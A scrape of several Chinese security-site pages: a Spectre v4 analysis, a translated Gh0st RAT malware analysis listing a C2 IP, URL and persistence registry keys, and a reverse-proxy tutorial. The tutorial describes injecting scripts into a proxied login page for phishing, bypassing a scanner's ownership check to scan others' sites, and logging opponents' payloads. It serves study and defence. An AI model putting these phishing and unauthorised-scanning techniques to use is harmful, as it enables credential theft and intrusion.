美团点评 | 诚招各路安全大佬,期待你的加入!
2018-05-07 17:30:03
美团点评集团招募 | 做安全如果没有梦想,那和咸鱼有什么区别
2018-02-07 18:00:11
输入关键字搜索内容
相关文章
好未来教育集团招聘高级安全工程师
新华三集团诚招网络安全人才
北京、上海 | 美团金融招聘高级安全人才
平安银行零售科技安全人才招聘
360企业安全集团 | 招募安全人才
北京 | 补天平台招人啦!
百度云安全岗位新年招聘啦~
热门推荐
文章目录
公司简介
工作地点
投递邮箱
招聘详情
安全平台架构师/技术专家
安全算法专家/高级安全算法专家
IoT安全专家
云安全工程师
数仓安全架构师
大数据安全运营专家
高级SDL安全工程师/专家
风险数据分析专家
风险数据挖掘专家
数据安全产品专家
安全案件资深专家
移动安全工程师/专家
应用安全架构师/专家
IT安全工程师/专家
安全运营工程师
高级安全工程师/专家
高级安全工程师/专家
高级安全工程师/专家
福利简介
美团安全有话说
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

3639

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
CVE-2018-3639 | 最新侧信道攻击详细分析
阅读量 116372 | 评论 4

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-08-06 16:30:34

本CSZQ最近对CPU相关漏洞感兴趣,于是深入研究了下CVE-2018-3639也就是Spectre4(幽灵4),有不对的地方欢迎指正。

简介
根据微软的一篇博客,已经发现的可用于揣测执行侧信道攻击的分支原语(英文原词在这里,speculation primitives,不太好翻译,就直译了)共有4种,分别是条件分支预测失误(conditional branch misprediction)、间接分支预测失误(indirect branch misprediction)、异常传递或延期(exception delivery or deferral)以及今天的主角揣测存储绕过(Speculative Store Bypass)。

详细分析
直接上代码的最重要部分,此代码经过个人添加了注释并修改过一些BUG,可以在文章最后下载源码对照查看每个变量的含义:

最重要的代码在115行和122行,在C语言层面看不出任何问题,请查看汇编代码:

汇编代码中红色部分为115行代码,绿色部分为122行代码,紫色部分即为出现问题的关键代码。

这两行代码出现问题的原因是执行当前代码的核心认为两条指令仅存在输出相关,因此可以使用寄存器重命名的方式并行执行,在《计算机体系结构:量化研究方法(第五版)》中可以找到相关解释:

并行执行一定会出问题吗,那不一定,还需要让执行单元先执行testfun+138指令再执行test+135指令,这样才能保证testfun+138会错误的影响cache。示例代码能够达成这个条件的原因是test+135指令与testfun+128指令相关,因此需要等待前面代码执行完毕,而test+138则没有这个顾虑。

继续深入到核心内部的执行单元,查看其到底是如何完成并行执行的,下图是intel的sandy bridge微架构执行单元:

查询AMD的17代处理器微架构文档,查询到如下信息:

所以可以判断上述两条宏观指令分别被翻译为单条存储相关微指令和单条加载相关微指令,结合上述寄存器重命名技术,因此可以判断在此微架构中使用port2和port4来并行执行两条指令,真相大白。

虽然在test+135存储指令执行完毕后,test+138指令由于错误会回退,但是已经受到影响的cache不会回退,所以可以结合 rdtscp 指令对 cache line 进行时间测试观察是否cache hit即可判断出到数据是多少。

还记得幽灵1么,它主要是由于错误的分支预测导致的 cache line 缓存了错误的数据,而幽灵4,主要是由于错误的揣测执行(暗自揣测圣意认为两条指令无关)造成的。

不负责任的猜想
Meltdown,忘记从哪里看到的一个说法,虽然AMD也有异常抑制技术,但是不受到该漏洞影响的原因是核心的执行单元有限,个人觉得应该是AMD的Store和load执行单元为同一个所以免疫,有待后续查证,附带上几个Intel和AMD的架构以供参考:

Intel Haswell微架构:

Intel sandy bridge微架构:

AMD 17th 架构

DEMO程序编译命令:

gcc -o Spec4 Speculative4.c -Wall -DHIT_THRESHOLD=50 -DNO_INTERRUPTS -ggdb

参考文献
漏洞PoC地址:

https://www.exploit-db.com/exploits/44695/

微软针对CVE-2018-3639的解释:

https://blogs.technet.microsoft.com/srd/2018/05/21/analysis-and-mitigation-of-speculative-store-bypass-cve-2018-3639/

intel sandy bridge微架构详解:

https://en.wikichip.org/wiki/intel/microarchitectures/sandy_bridge_(client)#MSROM_.26_Stack_Engine

intel sandy bridge微架构详解(中文):

http://www.mouseos.com/arch/intel_microarchitecture.html

AMD 17代处理器优化说明:

https://developer.amd.com/wordpress/media/2013/12/55723_3_00.ZIP

架构相关的一本书:

《计算机体系结构:量化研究方法(第五版)》

Intel官方手册:

64-ia-32-architectures-optimization-manual.pdf

其他额外资料

AMD开发手册:

Developer Guides, Manuals & ISA Documents

已知的CPU漏洞汇总:

https://wiki.osdev.org/CPU_Bugs

以上文章为 CSZQ 原创,转载请注明出处。

本文转载自: pediy.com
如若转载,请注明出处: https://bbs.pediy.com/thread-245988.htm
安全客 – 有思想的安全新媒体
侧信道攻击 安全研究 CVE-2018-3639

安全客 官方小编 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

三层网络靶场搭建&MSF内网渗透
2019-02-22 14:30:46

Drupal SA-CORE-2019-003 远程命令执行分析
2019-02-22 11:30:15

RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46

Pony Loader窃密木马样本分析
2019-02-22 10:30:17
|发表评论
发表你的评论吧
昵称
Dir溢出大神
换一个
|评论列表
创世之枪 · 2018-08-06 10:21:25 回复
源码 链接: https://share.weiyun.com/5IpOr1P (密码:sUGo)

神奇小子 · 2018-08-06 17:57:37 回复
密码错误

创世之枪 · 2018-08-06 23:25:48 回复
区分大小写

越南邻国宰相 · 2018-08-06 19:57:14 回复
密码正确呀

安全客
有思想的安全新媒体
文章
1137
粉丝
52
TA的文章
安全客 RSAC 2019 专题报道
2019-02-22 14:30:51
从RSA 2019创新沙盒“十强”看网络安全技术动向
2019-02-22 14:27:10
RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46
关于境内大量家用路由器DNS被篡改情况通报
2019-02-21 13:35:02
GitHub上发布后即登顶的老司机渗透教程,你的小本本备好了吗?
2019-02-20 19:35:06
输入关键字搜索内容
相关文章
JavaScript侧信道时间测量
利用分块传输吊打所有WAF
一网打尽核心网及终端协议实现漏洞:韩国科学技术院LTEFuzz新方法
针对WhatsApp、Telegram及Signal应用的侧信道攻击技术研究
如何利用.NET实现Gargoyle
漏洞预警 | 英特尔CPU曝严重的PortSmash超线程漏洞 敏感数据可被盗
9月3日每日安全热点 – Linus Torvalds坦率讲述英特尔安全漏洞
热门推荐
文章目录
简介
详细分析
不负责任的猜想
参考文献
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

远控

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
针对一个远控木马Gh0st RAT样本的初始化分析
阅读量 25060 | 评论 3 稿费 200

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-07-05 14:00:15
译文声明
本文是翻译文章,文章原作者,文章来源:0ffset.wordpress.com
原文地址:https://0ffset.wordpress.com/2018/06/26/post-0x11-analysis-of-a-gh0st/

译文仅供参考,具体内容表达以及含义原文为准

×

最近,我看了一下上传到VirusBay的样本,并发现了一些很特别的东西。一个名叫Bondey的用户上传了一个样本,并将其标记为Gh0st RAT。Gh0st RAT是一个已经被使用了很长时间的远程访问工具,并且有众多变种和变化。但是,到目前为止,这个RAT似乎已经消失了有一段时间。目前,使用Gh0st以获取远程访问的主要群体是“铁虎(Iron Tiger)”,一个被认为来自中国的APT组织。相关资料显示,该组织目前正瞄准亚洲和美国的政府、技术、教育和电信组织。我一直很喜欢查看APT组织使用的恶意软件,所以我下载了这个样本来分析它。

MD5:abdabfea475959703fb1957413b39cad

在执行通常的分析方法之前,我检查了VirusTotal上的散列。出乎我的意料的是,什么也没有出现。我上传了这个文件,并且意识到我是第一个将它上传到VT的人。我刚刚检查了一下, THOR APT Scanner对样本进行了评论,澄清它是Gh0st的一个变种 ,特别是s.exe被Iron Tiger使用。

我目前正在开发一个项目,下载新的样本并对它们进行基本的动态分析,以便初学者能够选择他们想要分析的恶意软件类型。对于这个RAT,我使用了这个项目的动态分析部分来分析它,得到了一个缩小的字符串列表:由于这是一项正在进行的工作,所以并不是所有的东西都能够被提取出来,不过它还是提出了一些有趣的字符串。似乎有一个存储在dllcache 和 system32文件夹中termsrvhack.dll的引用——也许这是一个stager组件,它将一个DLL放入到磁盘中?你可能还会注意到底部的熵,在之后它将被用于推测样本是否经过了打包/混淆。在这个案例中,它似乎并没有这样做,而且你会看到为什么当我用字符串来表示它以获得完整的输出:你可以将这些字符串看作键盘上的按键,这是完全正确的。这些字符串暗示了RAT中的键盘记录功能。这也就提出了这样一个问题:既然一个高级持续威胁(APT)组织选择它来作为他们的恶意软件,为什么他们甚至不尝试打包或混淆它?字符串不仅返回了一个键列表,还返回了嵌入在可执行文件中的URL:

hxxp://user.qzone.qq.com/

这个URL指向的似乎是一个中国的社交媒体网站,但这并不能帮助我理解它为什么包含在EXE中。现在我们已经分析了字符串,是时候把它放入PEStudio中来收集有关于文件本身的信息了。

在检查资源部分时,我发现多个资源被存储在文件中,但其中一个资源被提取了出来——一个具有HTML签名的资源。我把它放到磁盘上,想看看资源里面有什么。然而,这里并没有什么有价值的证据,似乎是一些加密的文本和一个数字—— 360。接下来,我审查了导入,看看能否更好地了解这个样本的功能。在分析时,我并没有能够完全确定它可以做什么。该样本使用序号(与API名称对应的数值)以及API名称导入函数。幸运的是,PEStudio能够解决大部分序号导入,揭示了正确的名称。因此,我们可以看到样本从Winsock库导入了多个函数,这意味着该程序正在建立与某处连接或从某处接收连接的可能性很高。

查看导入的DLL,你可以看到一个msvfw32.dll被导入。看起来这个DLL为可执行文件提供了视频功能,所以这个样本是否能够对受害者的计算机进行屏幕录制呢?

所以现在我们已经完成了基本的可执行分析,是时候将它放入IDA中以反汇编可执行文件并了解它是如何运行的了。我再次检查了二进制文件中的字符串列表,以查看是否在原始列表中漏掉了什么。然后,我发现了一个看起来像是Visual Basic 脚本文件名的内容:

Jingtisanmenxiachuanxiao.vbs

就我所知,这个文件名没有上下文,所以也许它是一个将会被下载到系统的文件?继续前进,我决定查看TCP连接例程,因此我搜索了用于连接的交叉引用。三种不同的结果出现了,可能暗示了三种不同的C2服务器连接。 我还注意到一个有趣的字符串存储在偏移量aProgramFilesRu被推送(push)到堆栈。该变量包含文件路径“\ProgramFiles\Ru%d.EXE”。这可能是恶意软件下一阶段的放置位置,或恶意软件将要被复制到的目录。我花了一点时间来查看拆解后的样本,但没有发现任何非常有用的东西,于是我启用了x32dbg,并用它打开了样本。

通过使用x32dbg,我能够找到可执行文件的“main”函数,其中有趣的部分正在发生,而不仅仅是初始化。进入主函数后,我立即注意到程序是如何导入库和API调用的。并不是运行LoadLibrary(“Kernel32.dll”),而是初始化一个字母数组,并将其传递给LoadLibrary调用,在反汇编后看起来像下面这样:

在将调用传递给LoadLibrary之后,我发现了一个有趣的循环。这个循环清除了内存中的一个区域,并填充了一些无意义的字符串,比如Ruiswe wgzawios。这些字符串在某些时候看起来很重要,所以我需要记住它们。你还可以看到%SystemRoot%也被存储。该循环再一次运行,但是它清除了一个不同的内存区域,并将一个IP地址写入该内存区域——218.60.67.75。但是,在写入IP地址之后,循环不会结束。它会继续进行并向该区域写入一个URL——http://xxx.ys168.com。我试着在网上搜索,但是我什么也没有得到。

然后,该程序会使用sprintf来形成可执行文件将要被复制到的路径:

C:\Windows\Kbwgmwu.exe

这个文件名被硬编码到可执行文件中,所以每次都会有相同的名称。为了形成将传递给sprintf的字符串,需要遵循用于导入DLL的相同例程。%s\%s首先以数组的形式写入内存,然后作为字符串传递,其中%s仅仅是字符串的占位符。第一个%s包含C:\Windows,第二个%s包含Kbwgmwu.exe。一旦调用sprintf,最终的路径就形成了——C:\Windows\Kbwgmwu.exe。

继续往下走,另一个字符串被作为数组写入到程序内存中——这次是一个注册表键值:

SYSTEM\CurrentControlSet\Services\%s

再一次,首先将它写成一个数组,然后推送到堆栈进行格式化。在使用注册表之前,会形成另一个字符串——rundll32.exe。该字符串被传递给一个函数,该函数将导入并调用另外三个函数:

l GetToolhelp32Snapshot

l Process32First

l Process32Next

也许你并不知道这些函数的用途,第一个函数将获取当前正在运行的进程的列表,第二个函数将获取列表中的第一个进程的句柄,最后一个函数用于遍历列表。对于每个正在运行的进程,程序调用strcmpi,将进程名称与传递的参数(rundll32.exe)进行比较。如果找到了rundll32.exe,该函数将返回,然后使用导入的API调用WinExec执行taskkill /f /im rundll32.exe。如果rundll32.exe没有运行,该函数将返回并继续执行,而不执行taskkill。我仍然不能够完全确定程序为什么要检查rundll,除非它正在检查以前版本的Gh0stRat,因为它们是DLL格式的。

一旦它检查了RunDLL32.exe,该程序将导入注册表函数,以便可以创建and/or查询键值。还记得我之前提到的Reg键值?%s被格式化为读取Ruiswe wgzawios,所以完整的Reg键值是:

SYSTEM\CurrentControlSet\Services\Ruiswe wgzawios

程序检查键值是否存在,如果不存在,则关闭键值的句柄。再一次,RegCloseKey作为数组导入并调用,所以你可以在调试器中看到以下结果: 一旦注册表被查询,恶意软件就会使用GetModuleFileName找到自己的可执行文件名,并将结果与​​硬编码的文件路径C:\Windows\Kbwgmwu.exe进行比较。如果名称不匹配,则开始“安装(installation)”例程。否则,程序似乎会继续其常规执行。如果文件名不同,恶意软件会使用我们在调试器中找到的注册表键值创建另一个注册表键值:

SYSTEM\CurrentControlSet\Services\Ruiswe wgzawios

这是文件必须作为admin运行的第一个迹象,因为它试图创建一个需要管理员权限的HKLM注册表值。有趣的是,对于一个“高级(Advanced)”恶意软件,当它访问注册表键值失败时,我没有看到错误处理,但我仍选择继续以防万一它改变了当前用户注册表。无论是否添加了注册表键值,恶意软件都会将其自身复制到Windows目录下,名称为 Kbwgmwu.exe。为此,CopyFile将被导入并执行。再一次,当程序以常规用户的身份运行时,它将失败,并且不会尝试处理错误。

一旦文件被“复制(copied)”,恶意软件就会导入 ShellExecute。然后,恶意软件会得到一个正在运行的进程列表(与RunDLL循环一样),并循环遍历它,将每个值与Kbwgmwu.exe进行比较。如果没有匹配,则调用ShellExecute,执行Windows目录中的文件 Kbwgmwu.exe。一旦文件被“执行(executed)”,恶意软件将循环回到进程搜索函数,以检查 Kbwgmwu.exe是否真的在运行。由于Kbwgmwu.exe不存在(因为恶意软件没有提升权限),ShellExecute会失败。这个循环运行了4次,然后退出,这似乎是到目前为止唯一的错误处理形式。

当恶意软件退出(并且原始文件被删除)时,我运行了它的另一个实例来查看是否有任何文件名或注册表键值发生了更改。只有两个值改变了,但它们似乎并不重要。现在是时候以管理员身份调试这个样本了,看看恶意软件究竟能做些什么。

我跳过了一些区段,直到我到达添加了注册表项的那一部分,然后检查注册表。果然,新创建的键值就在那里。

注册表也被硬编码到二进制文件中,因为它对样本非常重要,用以检查以前的样本。在创建键值后,将一个值添加到它—— Releice Name,并且所设置的数据似乎是随机的。在本案例中,数据读取Uuzvmm ceypla。这显得非常神秘。

我注意到这个注册表创建函数运行了好几次,所以我在每次调用它时都放了一个断点,并最终找到了一个新的注册表键值——Uuzvmm ceypla。这个键值内部设置了一个值,表示为 ConnectGroup。这个值的数据更加神秘—— ĬÉÏÖÖ×é。接下来,程序在键值中创建另一个值,称为MarkTime。写入此值的数据是当前时间,这可能是恶意软件用来查看它存活了多长时间的指标。 一旦 MarkTime被写入注册表,主注册表函数就会退出,并调用CopyFile,这次是成功的。

现在文件已被成功复制,恶意软件使用OpenSCManager打开服务管理器 。这也体现了需要管理员权限——必须是admin才能打开服务管理器。然后使用CreateService创建一个服务 ,其名称为 Uuzvmm ceypla,与注册表项名称相同,被赋予随机生成的描述。该服务被设置为自动启动,并链接到Windows目录中的可执行文件Kbwgmwu。然后,恶意软件将调用 StartService 以执行 Kbwgmwu.exe。

然后,对服务的描述进行编辑,以显示一个更长的随机字符串。我并不能够完全确定它为什么这样做,但它无论如何都会这样做。在描述更改后,我检查了注册表键值,它包含了更多的值:

在调试阶段,我没有连接网络,所以很有趣的是看到这个样本正在通过UDP进行监听。我相信这可能是一个错误,因为我没有看到任何WSAStartup或监听被调用。

现在我已经看到了它以管理员身份运行,是时候弄清楚如果我运行了恶意软件,就好像它刚安装一样会发生什么。我将虚拟机重新启动到一个干净的状态,并运行原始恶意软件,以便它能够将其自身植入系统。一旦Kbwgmwu.exe被执行,我将一个调试器附加到它并重新启动恶意软件。这一次,当恶意软件检查了文件名称后,它将继续沿着下图中右边的路径前行,而不是左边的。

我遇到了字符串Cao360被作为CreateEvent的一个参数推送 ,于是我决定赶紧通过谷歌搜索来看看发生了什么。首先出现的一个结果是一个趋势科技关于TROJ_BEAUGRIT介绍页面的链接。我没有看到任何关于木马本身的分析,但是我所看到的信息似乎与我的分析结果相关。同时,我也没有足够多的关于Gh0stRat的信息来证明这个样本不是 Gh0stRat,所以我决定暂时忽略它。

在注意到Cao360后不久,我发现了三个非常有用的字符串—— IP地址、URL和“123456789”,被移入一个内存地址中。之所以说它们有用,是因为它们表明连接将很快启动,恶意软件也将很快连接到攻击者C2服务器。果然,在继续执行程序之后,WSAStartup被调用了。为了使用Winsock来创建网络连接,必须调用WSAStartup 来初始化库。再往下,恶意软件将调用connect,为的是连接到我们在样本中看到的IP地址。当我断掉网络连接时,恶意软件试图连接回来,它失败了。我重新连线,启动了Wireshark,并运行connect函数。恶意软件通过端口8000建立了与C2服务器的连接。我在网上搜索了这个URL,并在滥用IP的网站上发现了几个hit,尤其是这个。它位于中国,根据滥用报告,最近似乎相当活跃,端口扫描并暴力破解不同的服务。基于中国已经禁止了VPN民用的事实,这个IP地址很可能表明了攻击者的真实地址,但也可能是利用被攻陷的主机作为代理,这一切都取决于技能水平。

一旦成功建立了连接,恶意软件将使用beginthreadex创建一个新线程,并在该线程中继续执行。

总结
l 该程序被执行

l 表单3用于文件名、注册表键值等的随机字符串

l 将URL和IP地址写入程序内存,以备后用

l 在正在运行的进程列表中检查RunDLL32.exe

l 如果它正在运行,执行taskkill来停止它的运行

l 否则,继续

l 形成完整的注册表键值SYSTEM\CurrentControlSet\Services\Ruiswe wgzawios

l 检查键值是否存在

l 如果该键值不存在,则关闭句柄

l 恶意软件会将其当前名称重新命名,并将其与%Windows%\Kbwgmwu.exe路径进行比较

l 如果字符串匹配,则开始“安装(installation)”例程

l 恶意软件创建注册表键值SYSTEM\CurrentControlSet\Services\Ruiswe wgzawios

l 值“Releice Name”被写入注册表键值,数据是随机的

l 随机数据之后将用于在SYSTEM\CurrentControlSet\Services\%s上创建另一个键值

l 值“ConnectGroup”被写入注册表键值,数据为“ÄÉÉSÉ·Ö×é”

l 值“MarkTime”被写入到注册表键值,数据是当前的数据和时间

l 值“Description”被写入到注册表键值,数据是三个随机单词

l 值“DisplayName”被写入到注册表键值,数据是随机的

l 恶意软件将最后部分写入注册键值,然后继续

l 调用CopyFile,恶意软件将自身复制到C:\Windows\Kbwgmwu.exe

l 管理员权限:

l 恶意软件在开始时使用随机数据创建服务

l 此服务设置为自动启动并执行C:\Windows\Kbwgmwu.exe

l 然后调用StartService,执行新创建的服务。

l 用户权限:

l 恶意软件会检查Kbwgmwu.exe的运行实例

l 如果没有找到,则使用ShellExecute 执行C:\Windows\Kbwgmwu.exe

l 这个过程会循环4次,然后调用ExitProcess

l 如果字符串匹配,并且原始注册表键值存在,程序则将继续执行

l 调用WSAStartup,初始化WinSock

l 恶意软件使用connect调用连接到C2 IP地址

l 调用BeginThreadEx,创建第二个线程以恢复程序的执行

IOCs
MD5:abdabfea475959703fb1957413b39cad

C2服务器:218.60.67.75

URL:http://xxx.ys168.com

文件路径:C:\Windows\Kbwgmwu.exe

注册表键值:SYSTEM\CurrentControlSet\Services\Ruiswe wgzawios

审核人:yiwang 编辑:边边

本文翻译自 0ffset.wordpress.com, 原文链接 。如若转载请注明出处。
技术分析 安全研究 Gh0st RAT

圆圈 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

三层网络靶场搭建&MSF内网渗透
2019-02-22 14:30:46

Drupal SA-CORE-2019-003 远程命令执行分析
2019-02-22 11:30:15

RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46

Pony Loader窃密木马样本分析
2019-02-22 10:30:17
|发表评论
发表你的评论吧
昵称
熊猫烧香作者
换一个
|评论列表
带头大哥 · 2018-07-07 10:58:08 回复
太牛比了 要好好学习

Dir溢出大神 · 2018-07-05 17:43:37 回复
警惕三门峡传销.vbs???

汤姆大叔 · 2018-07-06 11:36:02 回复
同好奇23333

圆圈
这个人太懒了,签名都懒得写一个
文章
44
粉丝
3
TA的文章
继续Go!Go!Go!Sofacy组织已使用Go语言开发出新的Zebrocy变种
2018-12-21 11:15:53
Dear Joohn行动:看Sofacy组织如何在全球掀起风浪
2018-12-19 15:45:18
KingMiner:说好的挖75% 怎么挖到100%了呢
2018-12-04 16:00:36
tRat:一种出现在多起垃圾电子邮件活动中新模块化RAT
2018-11-16 15:35:34
针对TrickBot银行木马新模块pwgrab的深入分析
2018-11-13 13:58:22
输入关键字搜索内容
相关文章
利用分块传输吊打所有WAF
一网打尽核心网及终端协议实现漏洞:韩国科学技术院LTEFuzz新方法
如何利用.NET实现Gargoyle
9月3日每日安全热点 – Linus Torvalds坦率讲述英特尔安全漏洞
CVE-2018-3639 | 最新侧信道攻击详细分析
Hussarini——一个正将菲律宾作为攻击目标的后门
关于如何使用信用卡磁条阅读器读取酒店钥匙卡数据的分析
热门推荐
文章目录
总结
IOCs
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

反向代理

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
浅析反向代理
阅读量 45883 | 评论 2 稿费 400

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-07-04 16:00:28

最近这段时间频频接触到反代的东西,所以就更进一步的了解了一番, 有什么不对的地方还请大佬们指正~本文需要用到的代码已上传Github

本文涉及到的东西仅供技术研究,请勿用于非法用途,否则后果自负。

0x01: 前言
最近把博客重新弄了一下,发现了一个特别有意思的东西,看图~
Alt text还有一些有意思的东西,比如反代谷歌(谷歌镜像站)、钓鱼、绕过国内备案和线下CTF中的一些骚操作,等等。

0x02: 简介
反向代理,简而言之就是反向代理服务器从目标内容服务器上抓取内容返回给用户,反向代理服务器充当一个中介功能,他本身是没有任何内容的。区别于正向代理而言,反向代理是代理的服务端,而正向代理是代理的客户端。Alt text

再来简单介绍一下我在前言中所说的我让我的博客ip是如何变成1.1.1.1的,其实1.1.1.1是一台DNS服务器(号称全球最快的DNS),正好1.1.1.1又是cf cdn中的一个节点。这样我们就可以将域名解析到1.1.1.1,然后在cf中设置好真实的回源地址即可。在文末已附上教程链接,感兴趣的可以玩玩~

0x03: 一些有意思的东西
除了上述所说的套一个CDN,让自己ip变成1.1.1.1来隐藏自己站点ip,还有一些其他好玩的~

CTF线下中的一些思路
因为我们线下赛中每支队伍的web站点都一样,笔者在之前的一次线下训练赛的时候尝试过修改apache配置文件来反代分数最高的队伍的站点,从而达到流量转发(伤害转移)的效果。这个具体能不能实现得看服务器的权限能提升到多高,其次也得根据具体的check机制来灵活使用。如果提升的权限不够高的话,也可以配置.htaccess来实现反代。用tcpdump倒流量顺手抓一波别人的payload。
如果我们采用的是.htaccess方法进行反向代理,这里说一下这种方法的原理和其他的不同在于它本质上是利用.htaccess映射到一个php文件,然后利用php文件去抓取目标服务器的信息返回给客户端。这里.htaccess配置的作用是重写url。所以我们不妨在这个php文件中包含一下这个demo1.php即可达到payload的记录的效果:

代码如下:
demo1.php

$value) {
if(substr($key, 0, 5) === ‘HTTP_’) {
$key = substr($key, 5);
$key = str_replace(‘_’, ‘-‘, $key);
$raw .= $key.’: ‘.$value.”rn”;
}
}
$raw .= “rn”;
$raw .= file_get_contents(‘php://input’);
return $raw;
}

function write_log(){
$data = date(“Y/m/d H:i:s”).”rn”.get_http_raw().”rnrn”;
$file = fopen(‘log1.txt’, ‘a’); //日志路径
fwrite($file, $data);
fclose($file);

}
记录如下:
Alt text

克隆网站 —中间人攻击
我们可以安装一个nginx的第三方模块ngx_http_substitutions_filter_module,然后nginx的配置文件中加入一段,即可弹窗等。

subs_filter ““;
location部分的配置如下:Alt text

这里有个坑弄了我好久… 就是我们请求网站的时候,数据包头部一般会有Accept-Encoding部分,如下图所示,这个部分告诉服务器,客户端能以怎样的形式解码。那么问题来了,数据包是压缩的,我们怎样才能用subs_filter 替换其中的内容呢? 其实正像上面截图的配置那样设置:反代服务器请求上游服务器的时候带上Accept-Encoding=‘ ’ 即可,表示不接受任何压缩数据。Alt text

访问http://a.cuit.store,效果如下:
Alt text

这样如果我们反代一个登录页面,比如qq空间,然后植入我们的js脚本,后果emmm…
当然了,不同站的反代难度是不一样的~

绕过网站所有权验证,调用在线的云扫描器给我们需要渗透的网站进行扫描
以人人扫这个云扫描平台为例:http://www.renrenscan.com/, 其中需要我们把一个认证文件放到网站根目录上,我们可以设置反代规则的时候,对这个文件进行排除,不进行代理即可绕过,或者直接用.htaccess的方法进行反代就行。
Alt text这样我们只需要等待扫描结果,即可get目标站的漏洞了~

如果我们再邪恶一点….顺便也可以包含上demo1.php,把这些扫描的payload都导出来下来(手动滑稽)

ps:这里说点其他的,我发现在给我博客加cdn的时候,发现了如下图所示的这个,因为我用的是cloudflare免费版的套餐,可以看到有很多请求没有经过CDN处理就直接回源了,这就可以让我们想到如果我们渗透的站点是套了CDN的,常规的找邮件服务器,静态文件,ssrf啥的如果都不管用,还不如来点简单粗暴的,暴力发包让CDN承受不住而回源,这样真实ip’轻松’get~

Alt text

0x04: 反向代理不当
一般当我们遇到了反代服务器的时候,可以试着用burpsuite的repeat功能,设置host为反代服务器,然后把http请求中的路径改为内网中的host(一般需要穷举,穷举网段ip端口域名等等)。因为反向代理的本质就是将客户端的请求url重写后发往上游服务器,将返回结果发回客户端,在这之中,如果对路径的配置不当就有可能导致反向代理变正向代理导致一些信息泄露,内网穿透等等漏洞。
Alt text

参考:
陌陌web服务器Path处理不当可以正向代理
内网穿透代理洞
谷歌内部主机信息泄露漏洞
新浪HTTP代理配置不当漫游内网
挖洞经验之代理不当日进内网

还有一种就是nginx为Django做反代的时候,静态文件配置错误导致源码泄露

0x05: 如何防止被反向代理
反向代理不仅会对用户造成威胁,而且对服务器来说也会增强负载,还有就是通过代理的方式盗取网站数据,还有就是seo相关的影响了等等…

通过js防止反代:如果地址栏的网址不是www.passer6y.fun那么就进行跳转。


其实这种方法还是可以绕过的,nginx有扩展模块可以将指定的字符进行替换,这时我们只需将target域名替换成我们自己的就行了(上文有说到如何替换)。或者直接不代理这个js文件也行。

php


.htaccess

RewriteEngine On
RewriteBase /
php_value auto_append_file proxy.php
proxy.php

0x06: Apache 反代配置方法
1. windows下
修改配置文件:Apacheconfhttpd.conf,将以下两个前面的注释符去掉。

#LoadModule proxy_module modules/mod_proxy.so
#LoadModule proxy_http_module modules/mod_proxy_http.so
然后新增一个Apacheconfvhosts.conf文件

ServerAdmin admin # 域名信息

ServerName passer6y.cn # 邮件信息

ProxyRequests Off

Order deny,allow

Allow from all

ProxyPass / http://passer6y.cn/ # 将一个远端服务器映射到本地服务器的URL空间

ProxyPassReverse / http://passer6y.cn/ # 调整由反向代理服务器发送的HTTP回应头中的URL。


2. linux下
参考:https://www.leaseweb.com/labs/2014/12/tutorial-apache-2-4-transparent-reverse-proxy/
测试环境:Ubuntu 16.04,apache2
加载”proxy_http”模块:

sudo a2enmod proxy_http
sudo service apache2 restart
在/etc/apache2/sites-available/下,修改配置:


ProxyPreserveHost On
ProxyPass / http://192.168.83.1/ # 指定根URL(/)下的内容映射到给定地址的后端服务器
ProxyPassReverse / http://192.168.83.1/

~
重启apache生效配置:

sudo service apache2 reload
sudo service apache2 restart
3.htaccess配置反向代理
这种方法配置反向代理准确的说是php反向代理,我们通过.htaccess中配置一些重写规则,然后把请求映射到一个php文件中,这个php帮我们请求上游服务器的内容,然后将上游服务器的返回的内容获取回来发回客户端。这种配置反代的好处是所需权限比较小,但是也有很多弊端,随着网站的复杂度,我们所写的抓取页面的php脚本难度就不大一样了。

Github上放了3个php反代脚本的demo,使用说明也见里面的readme即可。

0x07 nginx 反向代理
1. 简单反代
Nginx核心配置文件nginx.conf:

server {
listen 80; # 监听端口(web服务端口)
server_name localhost; # 当前服务的域名,这里是本地测试

location / { # 这里的/ 表示把服务器的根目录反代到www.baidu.com的根目录。
proxy_pass http://www.baidu.com;
proxy_redirect default;
}
}
2. 实例:反代Google
测试环境:cent os7
条件准备:一个域名,OneinStack一键安装lnmp,Let’s Encrypt 的ssl证书

接下来编辑nginx下的主机配置文件:/usr/local/nginx/conf/vhost/
Alt text然后在最后插入:

location / {
proxy_set_header Host “www.google.com”;
proxy_set_header User-Agent $http_user_agent;
proxy_set_header Connection “”;
proxy_http_version 1.1;
proxy_pass https://www.google.com;
}
检测Nginx配置是否正确:

[root@vultr vhost]# nginx -t
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
重载Nginx服务:

[root@vultr vhost]# service nginx reload
Reloading nginx configuration (via systemctl): [ OK ]
打开google.cuit.store,成功~

0x08 结语
这次介绍了我所了解的三种反代情况以及其中一些有意思的玩法。笔者能力有限,第一次写文章有什么理解不对的地方还请大家多多指点!

审核人:yiwang 编辑:边边

本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/150436
